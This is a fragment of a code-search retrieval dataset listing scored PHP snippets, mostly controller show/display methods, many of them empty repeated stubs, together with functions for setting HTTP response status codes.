"title": "" }, { "docid": "bb2e29f5f05ab065358c99c7225d6dc0", "score": "0.59295714", "text": "public function show(rc $rc)\n {\n //\n }", "title": "" }, { "docid": "9f2521adfd0849eebb7acbb6e94d94a0", "score": "0.592653", "text": "public function show($id) // show a single record\n {\n //\n }", "title": "" }, { "docid": "c356495b91bbab48f9b27e5a5ce7089e", "score": "0.59247625", "text": "public function display()\n {\n if (!current_user_can($this->capability)) {\n wp_die(__('You do not have sufficient permissions to access this page.', $this->textDomain));\n }\n\n $this->view->render();\n }", "title": "" }, { "docid": "151fea634645ed45ca7e8eb127afba25", "score": "0.59127665", "text": "public function show(Resource $resource)\n {\n $now = new \\DateTime('now');\n $reservations = $resource->reservationsIn($now->format('m'));\n\n\n $event_list = [];\n foreach ($reservations as $key => $reservation) {\n $event_list[] = Calendar::event(\n $reservation->user->name,\n false,\n new \\DateTime($reservation->start_time),\n new \\DateTime($reservation->end_time),\n null\n );\n }\n\n $calendar_details = Calendar::addEvents($event_list);\n\n return view('GeneralViews.ResourcesViews.Calendar.view', compact('calendar_details'));\n }", "title": "" }, { "docid": "301defef90a746cf93478d6f4bfc5091", "score": "0.5905301", "text": "public function show($id)\n {\n $model = $this->resourceModel;\n return $model::find($id);\n }", "title": "" }, { "docid": "5fbd8c8a913f3d5a4f08b109b5762881", "score": "0.59036547", "text": "public function show()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "447c87b0b6a3806d4bab38780df02aa1", "score": "0.5881883", "text": "public function displayTask($rid=null, $version=null)\n\t{\n\t\t$this->view->setLayout('display');\n\n\t\t// Incoming\n\t\tif (!$rid)\n\t\t{\n\t\t\t$rid = Request::getInt('rid', 0);\n\t\t}\n\t\tif (!$version)\n\t\t{\n\t\t\t$version = Request::getString('version', 'dev');\n\t\t}\n\n\t\t// Ensure we have an ID to work with\n\t\tif (!$rid)\n\t\t{\n\t\t\tApp::abort(500, Lang::txt('COM_TOOLS_CONTRIBUTE_NO_ID'));\n\t\t\treturn;\n\t\t}\n\t\t// Get resource information\n\t\t$resource = Entry::oneOrFail($rid);\n\n\t\t// Get version id\n\t\t$objV = new \\Components\\Tools\\Tables\\Version($this->database);\n\t\t$vid = $objV->getVersionIdFromResource($rid, $version);\n\n\t\t// Do we have a published tool?\n\t\t$this->view->published = $objV->getCurrentVersionProperty($resource->alias, 'id');\n\n\t\t// Get screenshot information for this resource\n\t\t$this->view->shots = $resource->screenshots()\n\t\t\t->whereEquals('versionid', $vid)\n\t\t\t->ordered()\n\t\t\t->rows();\n\n\t\t// Build paths\n\t\t$path = $resource->relativepath();\n\t\t$this->view->upath = PATH_APP . DS . trim($this->rconfig->get('uploadpath'), DS) . $path;\n\t\t$this->view->wpath = DS . trim($this->rconfig->get('uploadpath'), DS) . $path;\n\t\tif ($vid)\n\t\t{\n\t\t\t$this->view->upath .= DS . $vid;\n\t\t\t$this->view->wpath .= DS . $vid;\n\t\t}\n\n\t\t// Make sure wpath is preceded by app\n\t\tif (substr($this->view->wpath, 0, 4) != DS . 'app')\n\t\t{\n\t\t\t$this->view->wpath = DS . 'app' . $this->view->wpath;\n\t\t}\n\n\t\t// get config\n\t\t$this->view->cparams = Component::params('com_resources');\n\t\t$this->view->version = $version;\n\t\t$this->view->rid = $rid;\n\n\t\tforeach ($this->getErrors() as $error)\n\t\t{\n\t\t\t$this->view->setError($error);\n\t\t}\n\n\t\t// Output HTML\n\t\t$this->view->display();\n\t}", "title": "" }, { "docid": "2d9ba0bfae0a8169414d51cb94341bff", "score": "0.58672357", "text": "public function displayDoc($resource_name, $cache_id=null, $compile_id=null, $parent = null)\n {\n $this->_smarty_vars['template'] = $resource_name; // Added so that the template name would be accessible within the outputfilter\n $this->fetchDoc($resource_name, $cache_id, $compile_id, $parent);\n }", "title": "" }, { "docid": "313cd42e65f168efe8cb0ed49ea30ce1", "score": "0.58634895", "text": "public function displayAction(){\n \n // set filters and validators for GET input\n $filters = array(\n 'id' => array(\n 'HtmlEntities', \n 'StripTags', \n 'StringTrim'\n )\n );\n \n $validators = array(\n 'id' => array(\n 'NotEmpty', \n 'Int'\n )\n );\n \n // Zend_Filter_Input can validate, filter and escape input.\n // retrieve requested record\n // attach to view\n $input = new Zend_Filter_Input($filters, $validators);\n \n $input->setData($this->getRequest()\n ->getParams());\n \n if($input->isValid()) {\n \n // create service\n $service = new Catalog_Service_ItemService();\n \n $stamp_item = $service->getDisplayableItemIfNotExpired($input->id);\n \n if(isset($stamp_item)) {\n \n $this->view->stamp_item = $stamp_item; // store the StampItem in\n // the view.\n \n } else { // entity not found\n \n throw new Zend_Controller_Action_Exception('Page not found', 404);\n }\n \n } else { // not valid input\n \n throw new Zend_Controller_Action_Exception('Invalid input');\n \n } // endif\n }", "title": "" }, { "docid": "18b1a953d7b4f38d94ba36d78e007c30", "score": "0.5862241", "text": "public function display() {\n require $this->layout;\n }", "title": "" }, { "docid": "f1c47ce6af2faf1f1d79c5449022ee8c", "score": "0.58610433", "text": "public function show($id) {\n return Resource::find($id);\n }", "title": "" }, { "docid": "5dc30ed0a3c41d7bf4354e7bfd2d3260", "score": "0.58572257", "text": "protected function addResourceShow($name, $base, $controller)\n\t{\n\t\t$uri = $this->getResourceUri($name).'/{'.$base.'}';\n\n\t\treturn $this->get($uri, $this->getResourceAction($name, $controller, 'show'));\n\t}", "title": "" }, { "docid": "a57eaaa12abdbabb675c82237206d780", "score": "0.58206403", "text": "public function displayResourceUsing(string $resource, callable $displayResourceCallback)\n {\n $this->displayResourceCallback[$resource] = $displayResourceCallback;\n\n return $this;\n }", "title": "" }, { "docid": "3133b3b1b52a90fd561fc5996432c0e7", "score": "0.58170664", "text": "public function show($id)\n {\n return $this->responseItem(['title' => 'Đây là resource show ' . $id]);\n }", "title": "" }, { "docid": "1b6934d948dba93be88f01d4f4cde49a", "score": "0.58158535", "text": "public function display($context);", "title": "" }, { "docid": "935c4042b3fe02e20c14c171b86ae1d7", "score": "0.5801874", "text": "public function shouldDisplayResource($resource)\n {\n return $this->metaValue('resources.'.$resource::uriKey());\n }", "title": "" }, { "docid": "0c7f3ae23b93225868fde0e649f535aa", "score": "0.57749224", "text": "public function show(ShowResourceRequest $request, $id)\n {\n }", "title": "" }, { "docid": "b5b132820f922eef4e644b41ff67adde", "score": "0.57740575", "text": "public function show($id)\n\t{\n\t\t// unneeded for this project\n\t}", "title": "" }, { "docid": "cdbe9eb27e47a619361449d5953ad429", "score": "0.57726145", "text": "public function display()\n {\n\n $this->component->display();\n }", "title": "" }, { "docid": "fbea10219f07495b19ed6548d4ede1a4", "score": "0.5764195", "text": "public function show($id)\n\t{\n\t\t// not supported\n\t}", "title": "" }, { "docid": "cb35029e70932874ca4a7420e41f6917", "score": "0.5749518", "text": "public function discoverAction()\n {\n $this->view->title .= ' - Avaliable Resource';\n\n $data = array_values($this->_findResource());\n\n $this->view->data = $data;\n }", "title": "" }, { "docid": "7aa11579ff48f6202a3402f35980a6d7", "score": "0.574863", "text": "public function show(RestRequestInterface $request, $identifier);", "title": "" }, { "docid": "7fb606c6d980259fc7bc2be7fb3892f7", "score": "0.57364357", "text": "public function display()\n \t{\n \t\techo $this->render();\n \t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "7d55c8c31eda9d3eeb688b4417d1ce54", "score": "0.5722562", "text": "public function show($id) {\n\t\t//\n\t}", "title": "" }, { "docid": "b5e7179ea7c94add1c1af50e9f9b7fdd", "score": "0.57208323", "text": "public function show($id)\n\t{\n\t\n\t}", "title": "" }, { "docid": "7b33ab8280dac7d9e7f301bb46885ef2", "score": "0.57203656", "text": "public function display($action, $status);", "title": "" }, { "docid": "7eca9a150b08650a78b0cbe2467767e8", "score": "0.5714993", "text": "public function show()\n {\n return view('redistask::show');\n }", "title": "" }, { "docid": "a4bb0929797f59b1f372c0ea97423933", "score": "0.5714916", "text": "public function show()\n {\n $product = $this->model('IndexModel')->get($this->getParam()['id']);\n\n $this->template('show', $product);\n }", "title": "" }, { "docid": "91b6c2566d39e03a0eef7bad0aebcd5a", "score": "0.5707991", "text": "public function detailsAction()\n {\n // Get id from url params and check if record exist\n $params = $this->router->getParams();\n if (isset($params[0]) && $device = Devices::findFirst($params[0])) {\n $this->tag->setTitle(__('Devices') . ' / ' . __('Details'));\n $this->view->setVars([\n 'device' => $device,\n ]);\n } else {\n parent::notFoundAction();\n }\n }", "title": "" }, { "docid": "05ca915e5f597f0a1925a6b1a1e6afb0", "score": "0.57057405", "text": "public abstract function display();", "title": "" }, { "docid": "95c8e483ffde08b500f0a18be5d683d2", "score": "0.5704582", "text": "public function display() {\n\t$this->getRenderer()->dispatch($this);\n\n }", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "12bf7179b06b190879842d1f1945365c", "score": "0.57026845", "text": "public function show( $id ) {\n\t\t//\n\t}", "title": "" }, { "docid": "d49f4e51972ac93263ce45277638f862", "score": "0.56985086", "text": "public function show($id) {\n\t\t\t\n\t}", "title": "" }, { "docid": "7b283ba1c0546a155efc95a44dd0f9cf", "score": "0.56981397", "text": "public function show(Response $response)\n {\n //\n }", "title": "" }, { "docid": "2204f8d554d9525d60e0aba235700bfd", "score": "0.56858474", "text": "public function locate($resource);", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "cb37955e47b2d1c708a039b4bfa190e0", "score": "0.5684962", "text": "public function show($id)\n\t{\n\t\t//\n\t}", "title": "" } ]
5c71cccedde6ee02d933dc04caaa2cd4
Set HTTP status for response
[ { "docid": "a15b5d2711fdb008d20808f64d3dbd45", "score": "0.0", "text": "public function setStatusCode($code)\n {\n $this->statusCode = $code;\n\n return $this;\n }", "title": "" } ]
[ { "docid": "0c769d9e76decd3a8e0e0fe78de39995", "score": "0.8380732", "text": "public function setResponseStatus($status) {}", "title": "" }, { "docid": "3e3159042cb5d47f7e43946703aaa649", "score": "0.79287016", "text": "public function setStatusCode($status);", "title": "" }, { "docid": "1e64e2a9063b210c7f887afbe26bb59a", "score": "0.7634375", "text": "protected function setHTTPstatus($code)\n {\n $realCode = Response::$statusTexts;\n\n if (isset($realCode[$code])) {\n $this->HTTPstatus = $code;\n }\n }", "title": "" }, { "docid": "35eb477fd0ae5faf470c9c895d2428d7", "score": "0.7627135", "text": "function setStatusCode($code);", "title": "" }, { "docid": "5bfde12c4c46b1b414ebc926ee10fdec", "score": "0.75962275", "text": "private function setStatusCode()\n {\n $this->status_code = curl_getinfo($this->curl, CURLINFO_HTTP_CODE);\n }", "title": "" }, { "docid": "f1724dabb9b455274006d2b7de3a2a9e", "score": "0.758778", "text": "public function setStatusCode($value)\n {\n $this->_headers[ODataConstants::HTTPRESPONSE_HEADER_STATUS] \n = $value;\n }", "title": "" }, { "docid": "df57695c0eec98f0ec114bc356887002", "score": "0.75158715", "text": "public function setStatusCode($code)\r\n {\r\n http_response_code($code);\r\n }", "title": "" }, { "docid": "5c67173904db7de1eebe54a453ddef2a", "score": "0.74795574", "text": "protected function set_status( $code ) {\n\t\tstatus_header( $code );\n\t}", "title": "" }, { "docid": "5b0f478787d7caa46caf381051290ef7", "score": "0.7405419", "text": "function http_send_status($status) {}", "title": "" }, { "docid": "12f8277a063f8152d63c4a64da51bcac", "score": "0.7353871", "text": "private function _setHttpResponseHeader($code = null) {\n\t\t$httpCode = $this->controller->response->httpCodes($code);\n\t\tif ($httpCode[$code]) {\n\t\t\t$this->controller->response->statusCode($code);\n\t\t} else {\n\t\t\t$this->controller->response->statusCode(500);\n\t\t\t$code = 500;\n\t\t}\n\t}", "title": "" }, { "docid": "5a61d4dbcb1b163d0b34c88a175ddab5", "score": "0.7321882", "text": "public function testAbleToSetStatus()\n {\n $this->response->setStatus(404);\n $this->assertEquals(\n 404, $this->response->getStatus(),\n 'Unable to set Status'\n );\n }", "title": "" }, { "docid": "ff0a62c73e6485e21b7c640bb42b1a16", "score": "0.7254519", "text": "public function setStatusCode($statusCode);", "title": "" }, { "docid": "7e41b289ef847f9bcb14d7ae1c702fce", "score": "0.72481036", "text": "public function setResponseCode($code) {}", "title": "" }, { "docid": "b2135b09759b124228803ad02f39f1b5", "score": "0.7231511", "text": "public function status($code)\n {\n $this['response']->setStatus($code);\n }", "title": "" }, { "docid": "608e334a9ba742a398a7da88c463515f", "score": "0.7210882", "text": "private function setStatus(int $httpStatusCode): void\n {\n $this->statusCode = $httpStatusCode;\n }", "title": "" }, { "docid": "3372c85eafe014d431d6c78cb94cd0c2", "score": "0.71854365", "text": "public function setStatusCode(int $statusCode): ResponseInterface;", "title": "" }, { "docid": "b3ad1f060d477a9437058e2d79fcb3c8", "score": "0.7174637", "text": "public function setHttpStatus(int $http_status): void\n {\n $this->http_status = $http_status;\n }", "title": "" }, { "docid": "6edf34fcc51f04441868ec1567c0b7d6", "score": "0.7149594", "text": "function set_status_header(int $p_code = 200, string $p_text = '') {\n if (flcCommon::is_cli()) {\n return;\n }\n\n /* if (empty($p_code) or !is_numeric($p_code)) {\n $p_text = 'Status code must be numeric';\n $p_code = 500;\n }*/\n\n if (empty($p_text)) {\n is_int($p_code) or $p_code = (int)$p_code;\n\n if (isset(self::$status_codes[$p_code])) {\n $p_text = self::$status_codes[$p_code];\n } else {\n $p_text = '(null)';\n $p_code = 500;\n }\n }\n\n if (strpos(PHP_SAPI, 'cgi') === 0) {\n header('Status: '.$p_code.' '.$p_text, true);\n } else {\n header($this->get_protocol_version().' '.$p_code.' '.$p_text, true, $p_code);\n }\n }", "title": "" }, { "docid": "08448ea0e4ecbe605e15b288b99b1a5e", "score": "0.71282756", "text": "public function getHTTPStatusCode() { return $this->status; }", "title": "" }, { "docid": "d60de8d7babf3ff9f3bdbf08dc25ea49", "score": "0.70929074", "text": "public function setStatus(int $code): void\n {\n http_response_code($code);\n }", "title": "" }, { "docid": "925bc2de02d07feec97676b034c550bf", "score": "0.70788705", "text": "protected function setResponseStatus(ResponseStatus $value)\n {\n $this->responseStatus = $value;\n }", "title": "" }, { "docid": "e2fa4cd0510eb51de74cc2d9b7a607b4", "score": "0.70749825", "text": "public function getStatusCode(){\n return $this->httpResponseCode;\n }", "title": "" }, { "docid": "1b3881de62e84b98ed6310d0a5129fa6", "score": "0.707254", "text": "public function setResponseCode($code);", "title": "" }, { "docid": "e6f86cfdb5b42ad10516cc9a2c1ee15b", "score": "0.7059466", "text": "protected function setHttpCode(Int $code = 200)\n {\n http_response_code($code);\n }", "title": "" }, { "docid": "3cf0141b7852b4d97925ab2e02a39b50", "score": "0.7042352", "text": "protected function set_status($code)\n {\n }", "title": "" }, { "docid": "b4557eefa5087e21d7d7d9aefde4192a", "score": "0.7041053", "text": "public function setHttpStatus($status)\n {\n $this->httpStatus = $status;\n }", "title": "" }, { "docid": "b646605ccf607e9e6965309b188930f5", "score": "0.69610256", "text": "public function setResponseCode(HttpStatusCode|int|null $code = 200): void\n {\n $codeObject = $code;\n\n if (!$codeObject)\n {\n return;\n }\n\n if (is_int($code))\n {\n $codeObject = HttpStatus::fromInt($code);\n }\n\n http_response_code($codeObject->code);\n }", "title": "" }, { "docid": "1b9f03fb47cd5dd290d7e9aa7abc1cc3", "score": "0.69526136", "text": "function set_status_header($code = 200, $text = '') {\n $stati = array(\n 200 => 'OK',\n 201 => 'Created',\n 202 => 'Accepted',\n 203 => 'Non-Authoritative Information',\n 204 => 'No Content',\n 205 => 'Reset Content',\n 206 => 'Partial Content',\n\n 300 => 'Multiple Choices',\n 301 => 'Moved Permanently',\n 302 => 'Found',\n 304 => 'Not Modified',\n 305 => 'Use Proxy',\n 307 => 'Temporary Redirect',\n\n 400 => 'Bad Request',\n 401 => 'Unauthorized',\n 403 => 'Forbidden',\n 404 => 'Not Found',\n 405 => 'Method Not Allowed',\n 406 => 'Not Acceptable',\n 407 => 'Proxy Authentication Required',\n 408 => 'Request Timeout',\n 409 => 'Conflict',\n 410 => 'Gone',\n 411 => 'Length Required',\n 412 => 'Precondition Failed',\n 413 => 'Request Entity Too Large',\n 414 => 'Request-URI Too Long',\n 415 => 'Unsupported Media Type',\n 416 => 'Requested Range Not Satisfiable',\n 417 => 'Expectation Failed',\n\n 500 => 'Internal Server Error',\n 501 => 'Not Implemented',\n 502 => 'Bad Gateway',\n 503 => 'Service Unavailable',\n 504 => 'Gateway Timeout',\n 505 => 'HTTP Version Not Supported'\n );\n\n if ($code == '' OR !is_numeric($code)) {\n show_error('Status codes must be numeric', 500);\n }\n\n if (isset($stati[$code]) AND $text == '') {\n $text = $stati[$code];\n }\n\n if ($text == '') {\n show_error('No status text available. Please check your status code number or supply your own message text.', 500);\n }\n\n $server_protocol = (isset($_SERVER['SERVER_PROTOCOL'])) ? $_SERVER['SERVER_PROTOCOL'] : FALSE;\n\n if (substr(php_sapi_name(), 0, 3) == 'cgi') {\n header(\"Status: {$code} {$text}\", TRUE);\n }\n elseif ($server_protocol == 'HTTP/1.1' OR $server_protocol == 'HTTP/1.0') {\n header($server_protocol . \" {$code} {$text}\", TRUE, $code);\n }\n else {\n header(\"HTTP/1.1 {$code} {$text}\", TRUE, $code);\n }\n}", "title": "" }, { "docid": "19c95efe1be614865994688758d77258", "score": "0.69384223", "text": "public function set_status($code)\n {\n }", "title": "" }, { "docid": "19c95efe1be614865994688758d77258", "score": "0.69351506", "text": "public function set_status($code)\n {\n }", "title": "" }, { "docid": "f8a6f205d09e6baa19f5ee8302170f96", "score": "0.6923125", "text": "public function setStatusCode($code)\n {\n $this->statusCode = $code;\n }", "title": "" }, { "docid": "2b513d4a45cda4a28d6562ce22933b8a", "score": "0.6918553", "text": "public function setStatusCode($code, $text);", "title": "" }, { "docid": "eecf8e7055579a47aacbdf3a19baeef4", "score": "0.68999296", "text": "static function set_status_header($code = 200, $text = '')\n\t{\n\t\t$stati = array(\n\t\t\t\t\t\t200\t=> 'OK',\n\t\t\t\t\t\t201\t=> 'Created',\n\t\t\t\t\t\t202\t=> 'Accepted',\n\t\t\t\t\t\t203\t=> 'Non-Authoritative Information',\n\t\t\t\t\t\t204\t=> 'No Content',\n\t\t\t\t\t\t205\t=> 'Reset Content',\n\t\t\t\t\t\t206\t=> 'Partial Content',\n\n\t\t\t\t\t\t300\t=> 'Multiple Choices',\n\t\t\t\t\t\t301\t=> 'Moved Permanently',\n\t\t\t\t\t\t302\t=> 'Found',\n\t\t\t\t\t\t304\t=> 'Not Modified',\n\t\t\t\t\t\t305\t=> 'Use Proxy',\n\t\t\t\t\t\t307\t=> 'Temporary Redirect',\n\n\t\t\t\t\t\t400\t=> 'Bad Request',\n\t\t\t\t\t\t401\t=> 'Unauthorized',\n\t\t\t\t\t\t403\t=> 'Forbidden',\n\t\t\t\t\t\t404\t=> 'Not Found',\n\t\t\t\t\t\t405\t=> 'Method Not Allowed',\n\t\t\t\t\t\t406\t=> 'Not Acceptable',\n\t\t\t\t\t\t407\t=> 'Proxy Authentication Required',\n\t\t\t\t\t\t408\t=> 'Request Timeout',\n\t\t\t\t\t\t409\t=> 'Conflict',\n\t\t\t\t\t\t410\t=> 'Gone',\n\t\t\t\t\t\t411\t=> 'Length Required',\n\t\t\t\t\t\t412\t=> 'Precondition Failed',\n\t\t\t\t\t\t413\t=> 'Request Entity Too Large',\n\t\t\t\t\t\t414\t=> 'Request-URI Too Long',\n\t\t\t\t\t\t415\t=> 'Unsupported Media Type',\n\t\t\t\t\t\t416\t=> 'Requested Range Not Satisfiable',\n\t\t\t\t\t\t417\t=> 'Expectation Failed',\n\n\t\t\t\t\t\t500\t=> 'Internal Server Error',\n\t\t\t\t\t\t501\t=> 'Not Implemented',\n\t\t\t\t\t\t502\t=> 'Bad Gateway',\n\t\t\t\t\t\t503\t=> 'Service Unavailable',\n\t\t\t\t\t\t504\t=> 'Gateway Timeout',\n\t\t\t\t\t\t505\t=> 'HTTP Version Not Supported'\n\t\t\t\t\t);\n\n\t\tif ($code == '' OR ! is_numeric($code))\n\t\t{\n\t\t\tself::show_error('Status codes must be numeric', 500);\n\t\t}\n\n\t\tif (isset($stati[$code]) AND $text == '')\n\t\t{\t\t\t\t\n\t\t\t$text = $stati[$code];\n\t\t}\n\t\n\t\tif ($text == '')\n\t\t{\n\t\t\tself::show_error('No status text available. Please check your status code number or supply your own message text.', 500);\n\t\t}\n\t\n\t\t$server_protocol = (isset($_SERVER['SERVER_PROTOCOL'])) ? $_SERVER['SERVER_PROTOCOL'] : FALSE;\n\n\t\tif (substr(php_sapi_name(), 0, 3) == 'cgi')\n\t\t{\n\t\t\theader(\"Status: {$code} {$text}\", TRUE);\n\t\t}\n\t\telseif ($server_protocol == 'HTTP/1.1' OR $server_protocol == 'HTTP/1.0')\n\t\t{\n\t\t\theader($server_protocol.\" {$code} {$text}\", TRUE, $code);\n\t\t}\n\t\telse\n\t\t{\n\t\t\theader(\"HTTP/1.1 {$code} {$text}\", TRUE, $code);\n\t\t}\n\t}", "title": "" }, { "docid": "54cc580428ea958925d07ee8a8e3aaac", "score": "0.6890276", "text": "protected function setResponse($status_code, $message='')\r\n {\r\n $this->response_vars['status_code'] = $status_code;\r\n $this->response_vars['message'] = $message;\r\n }", "title": "" }, { "docid": "67e3d0f0baeaad064a0ceafb6729578f", "score": "0.6857088", "text": "private function sendResponseCode(): void\n {\n\n $http = sprintf(\n 'HTTP/%s %s %s',\n $this->versionProtocol,\n $this->responseCode,\n $this->httpCodeText[$this->responseCode]\n );\n\n header($http, true);\n http_response_code($this->responseCode);\n\n }", "title": "" }, { "docid": "8e9381bd622931039cd02d68f7168289", "score": "0.6852406", "text": "protected function setSuccessStatus()\n {\n $this->response['data']['code'] = 200;\n $this->response['success'] = true;\n }", "title": "" }, { "docid": "83b01775f7f9483a18fd8f207d56a464", "score": "0.6839038", "text": "public function setStatus( $response_type ){\n\t\t\n\t\tif ( is_numeric($response_type) )\n\t\t\treturn $this->setOption('status', $response_type);\t\n\t\t\n\t\tswitch (strtolower($response_type)) {\n\t\t\tcase 'ok':\n\t\t\tdefault:\n\t\t\t\treturn $this->setOption('status', 200);\n\t\t\tcase 'found':\n\t\t\t\treturn $this->setOption('status', 302);\n\t\t\tcase 'not-found':\n\t\t\tcase 'error':\n\t\t\t\treturn $this->setOption('status', 400);\n\t\t\tcase 'unauthorized':\n\t\t\tcase 'auth-error':\n\t\t\t\treturn $this->setOption('status', 401);\n\t\t\tcase 'forbidden':\n\t\t\t\treturn $this->setOption('status', 403);\t\t\t\n\t\t\tcase 'invalid-method':\n\t\t\t\treturn $this->setOption('status', 405);\n\t\t}\t\n\t}", "title": "" }, { "docid": "bbf04a36138c9d4ce98d9aaaf1427249", "score": "0.683436", "text": "protected static function setStatusCode($code)\n {\n return self::$statusCode = $code;\n\n }", "title": "" }, { "docid": "fa81b7be1fb265d52c497dda5ab2ad35", "score": "0.6826395", "text": "function statusCode()\n {\n }", "title": "" }, { "docid": "5466fa255acec118e9862eb3cbb829e9", "score": "0.68255824", "text": "function status($new = null)\n {\n static $code = 200;\n if ( ! empty($new) )\n ($code = $new) && hdrs('x-horus-status', 'a horus response', true, $new);\n return $code;\n }", "title": "" }, { "docid": "807b557715fc3963abf1f31bf38a5c1b", "score": "0.6824658", "text": "function status($code) {\n $reason=@constant('self::HTTP_'.$code);\n if (PHP_SAPI!='cli')\n header($_SERVER['SERVER_PROTOCOL'].' '.$code.' '.$reason);\n return $reason;\n }", "title": "" }, { "docid": "9c178b7f9fbe478b15547b22f9aec2c8", "score": "0.6824362", "text": "public function getHttpStatus(): int\n {\n\n return http_response_code();\n\n }", "title": "" }, { "docid": "7532b1f158437ed2cd259f457a75f00e", "score": "0.6807021", "text": "protected static function statusCode($code=null) {\r\n\t\tstatic $current_status;\r\n\t\t\r\n\t\tif ($code) {\r\n $protocol = isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0';\r\n\t\t\t$current_status = $code;\r\n\t\t\theader($protocol. ' ' . static::$messages[$code]);\r\n\t\t}\r\n\t\treturn $current_status?:200;\r\n\t}", "title": "" }, { "docid": "906cbae6b1adf31f92d7b89cbbcfe592", "score": "0.6796661", "text": "protected function setStatusCode($code)\n {\n $this->statusCode = (int) $code;\n }", "title": "" }, { "docid": "825c86e3210051c192944bdd962372fe", "score": "0.67710274", "text": "protected function setErrorHeader() {\n\t\tif ($this->response_code >= 400 && $this->response_code < 500) {\n\t\t\theader('HTTP/1.1 ' . $this->response_code . \" \" . SVException::g($this->response_code));\n\t\t\texit(0);\n\t\t}\n\t}", "title": "" }, { "docid": "a86bd41de14c6b8374364308d47cc9df", "score": "0.67691886", "text": "public function status_code()\n {\n }", "title": "" }, { "docid": "b78491f1f7ed4397236a09b24cc5f025", "score": "0.67660326", "text": "function response($code){\n 